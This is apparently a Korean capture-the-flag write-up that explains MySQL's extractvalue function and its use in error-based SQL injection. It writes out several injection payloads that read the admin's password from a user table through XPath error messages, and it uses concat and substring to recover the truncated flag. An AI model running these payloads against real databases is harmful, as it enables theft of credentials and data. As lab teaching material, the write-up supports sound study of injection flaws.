TMI) extractvalue 함수
extractvalue(XML 데이터, XPath 표현식)을 인자로 받습니다.
XML 데이터는 '<STORE><BOOK><TITLE>드림핵 이야기</TITLE></BOOK></STORE>' 같은 데이터가 올 수 있으며 XPath 표현식에는 '/STORE/BOOK/TITLE' 같은 값이 올 수 있습니다.
만약 SELECT extractvalue('<STORE><BOOK><TITLE>드림핵 이야기</TITLE></BOOK></STORE>', '/STORE/BOOK/TITLE')를 실행하면 드림핵 이야기가 출력이 됩니다.
extractvalue 함수를 이용한 error based sql injection
특이하게도 MySQL에는 XPATH syntax 오류가 생기면 그 오류의 원인이 되는 XPath 표현식을 그대로 보여줍니다.
예시: (1105, "XPATH syntax error: '에러의 원인'")
이점을 이용하면 error based sql injection을 수행할 수 있습니다.
admin' AND extractvalue(null, ( SELECT upw from user where uid='admin' ) );
extractvalue의 첫 번째 인자는 아무런 값이 와도 상관없습니다. 두 번째부터가 중요한데 이곳에는 내가 보고 싶은 값이 오도록 SELECT 쿼리를 적어줍니다. 그러면 위에서 언급한 것처럼 XPath 표현식이 이상하기 때문에 에러의 원인을 그대로 노출하게 됩니다.
(1105, "XPATH syntax error: '{c3968c78840750168774ad951fc9...'")
앞에 DH가 잘리게 된 이유는 DH까지는 정상적인 XPath 표현식으로 인식하기 때문입니다.
아무튼 DH까지 추가로 확인하고 싶으시다면 contact 함수로 특정 문자를 포함시키는 경우도 있습니다.
admin' AND extractvalue(null, concat(0x23, ( SELECT upw from user where uid='admin' ) ) );
0x23은 #을 의미하기 때문에 #DH{c39... 이런 식으로 보이게 됩니다.
그리고 플래그 값이 잘려 보이는 경우가 있는데 이것은 substring 함수를 이용하면 해결됩니다.
admin' AND extractvalue(null, concat(0x23, ( SELECT substring(upw, 1, 20) from user where uid='admin' ) ) );
> (1105, "XPATH syntax error: '#DH{c3968c78840750168'")
admin' AND extractvalue(null, concat(0x23, ( SELECT substring(upw, 21, 100) from user where uid='admin' ) ) );
> (1105, "XPATH syntax error: '#774ad951fc98bf788563c4d}'")
Reference
https://smile-place.tistory.com/entry/ORACLE-EXTRACTVALUE-함수-EXTRACT-함수